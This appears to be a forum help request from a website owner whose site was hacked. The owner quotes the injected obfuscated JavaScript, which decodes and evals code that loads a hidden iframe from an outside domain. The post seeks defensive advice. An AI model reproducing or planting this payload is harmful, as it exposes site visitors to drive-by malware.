Our website has been attacked. It looks the javascript below were injected to the site. certain browsers (mozilla, etc.) prints "Reported Attack Page!" when page is visited.
Does anyone have an idea how to find the security leak and prevent?
Thanks
<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=
['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f5 9f68f74f73f24f79f42f55f61f36f55f67f59f-2f
-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-
10f81f-29f-33f-335f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f
74f70f16f5f5f73f62f69f57f65f63f68f61f72f55 f74f59f73f4f57f69f67f5f67f63f68f58f5f63f68f4f57f61 f63f21f12f-3f-10f77f63
f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16
f62f63f58f58f59f 68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75 f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20
f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-
1f81f5-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f 66f59f67f59f68f74f
-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5
f73f62f69f57f65f63f68f61f72f55 f74f59f73f4f57f69f67f5f67f63f68f58f5f63f68f4f57f61 f63f21f12f-3f-1f17f60f4f73f74f79f
66f59f4f76f63f73f63f56f63f66f63 f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68 f19f-
3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-
3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f
63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66
f59f67f 59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f6
0f-1f17f-29f-33f-33f83']
[0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}
catch(qwg){w=f;s=[];}r=String;z=((e)?h:"");for(;585!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);}
if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>
